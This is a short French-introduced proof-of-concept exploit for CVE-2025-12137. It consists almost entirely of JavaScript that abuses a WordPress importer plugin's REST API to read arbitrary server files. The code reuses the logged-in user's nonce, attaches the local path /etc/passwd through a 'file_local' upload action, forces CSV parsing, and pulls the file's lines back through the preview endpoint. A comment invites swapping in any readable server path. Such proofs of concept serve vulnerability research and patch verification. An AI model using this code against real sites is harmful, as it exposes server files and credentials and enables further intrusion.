
Exploit de preuve de concept pour CVE-2025-12137 démontrant la divulgation de fichiers locaux via le point de terminaison d'importation de l'API REST d'un plugin WordPress. Inclut un code JavaScript étape par étape pour attacher, traiter et prévisualiser des fichiers serveur arbitraires.
async function iwpFetch(path, method='GET', body) {
const nonce = window?.wpApiSettings?.nonce || jQuery?.ajaxSettings?.headers?.['X-WP-Nonce'];
const res = await fetch(`${location.origin}/wordpress/wp-json/iwp/v1${path}`, {
method,
headers: { 'Content-Type':'application/json', 'X-WP-Nonce': nonce },
body: body ? JSON.stringify(body) : undefined,
credentials: 'same-origin'
});
const text = await res.text();
try { return JSON.parse(text); } catch { return { status: res.ok ? 'S':'E', data: text }; }
}
const created = await iwpFetch('/importer', 'POST', { name: 'PoC Local File Disclosure' });
const IID = created?.data?.id;
console.log('Importer created', created);
if (!IID) throw new Error('Failed to create importer');
(exemple : /etc/passwd sous Linux)
// Tell the server we’re “attaching” a local file path
const attach = await fetch(`${location.origin}/wordpress/wp-json/iwp/v1/importer/${IID}/upload`, {
method: 'POST',
headers: {
'X-WP-Nonce': (window?.wpApiSettings?.nonce || jQuery?.ajaxSettings?.headers?.['X-WP-Nonce']),
},
body: new URLSearchParams({
action: 'file_local',
local_url: '/etc/passwd', // replace with any readable server path
filetype: 'csv' // forces CSV pipeline so preview returns raw lines
}),
credentials: 'same-origin'
}).then(r => r.json());
console.log('Local file attached', attach);
const processed = await iwpFetch(`/importer/${IID}/file-process`, 'POST', {
delimiter: ',', enclosure: '"', escape: '\\'
});
console.log('File processed', processed);
const row0 = await iwpFetch(`/importer/${IID}/file-preview`, 'POST', {
record: 0,
delimiter: ',',
enclosure: '"',
escape: '\\',
show_headings: 'false'
});
console.log('Row 0', row0);
const row1 = await iwpFetch(`/importer/${IID}/file-preview`, 'POST', {
record: 1,
delimiter: ',',
enclosure: '"',
escape: '\\',
show_headings: 'false'
});
console.log('Row 1', row1);
// Expected:
// row0 / row1 arrays contain split fields from /etc/passwd, e.g.:
// row0.data.row → ["root","x","0","0","root","/root","/usr/bin/zsh"]